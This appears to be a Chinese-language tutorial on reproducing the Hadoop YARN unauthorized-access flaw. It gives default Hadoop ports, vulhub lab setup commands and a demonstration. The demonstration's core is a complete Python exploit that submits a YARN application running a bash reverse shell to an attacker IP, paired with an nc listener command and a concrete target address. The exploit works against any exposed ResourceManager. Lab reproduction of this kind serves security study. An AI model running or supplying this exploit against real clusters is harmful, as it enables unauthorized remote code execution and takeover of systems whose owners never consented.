一、Hadoop常见端口及配置文件
Hadoop中有多种端口,这些端口用于不同的服务和通信。以下是Hadoop中常见的端口以及它们的用途:
NameNode Web界面端口 (默认: 9870)
NameNode 对客户端服务端口 (默认: 8020)
Secondary NameNode Web界面端口 (默认: 9868)
Secondary NameNode 对DN的服务端口 (默认: 50020)
ResourceManager 管理界面端口 (默认: 8088)
DataNode 数据传输端口 (默认: 50010)
DataNode 服务端口 (默认: 50075)
NodeManager 管理界面端口 (默认: 8042)
这些端口可以在Hadoop的配置文件中找到,通常位于$HADOOP_HOME/etc/hadoop/目录下的
core-site.xml, hdfs-site.xml, yarn-site.xml, 和 mapred-site.xml文件中。
二、复现环境
方法一
https://vulfocus.cn/#/dashboard
方法二
用 vulhub 开启环境
切换到漏洞环境目录
cd /root/vulhub/hadoop/unauthorized-yarn
构建(重新构建)项目中的服务容器
docker-compose build
启动已定义在docker-compose.yml文件中的服务容器,并以守护进程的方式在后台运行(启动靶场)
docker-compose up -d
关闭靶场
docker-compose down
三、介绍漏洞
vulhub官方介绍
https://vulhub.org/#/environments/hadoop/unauthorized-yarn/
知道创宇
https://www.seebug.org/search/?keywords=hadoop&category=&level=all
四、演示
访问漏洞靶场
启动漏洞环境,访问漏洞地址
http://123.58.224.8:31227/
漏洞存在判断
访问
http://123.58.224.8:31227/cluster/apps
如果能成功访问说明漏洞存在
开启监听
在监听服务器上开启nc监听
nc -nvlp 9999
exp脚本
反弹shell的exp
import requests
target = 'http://123.58.224.8:31227/' # 目标地址
lhost = 'x.x.x.x' # 接收shell的攻击机ip
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
运行脚本
python exp.py
查看监听服务器
成功反弹shell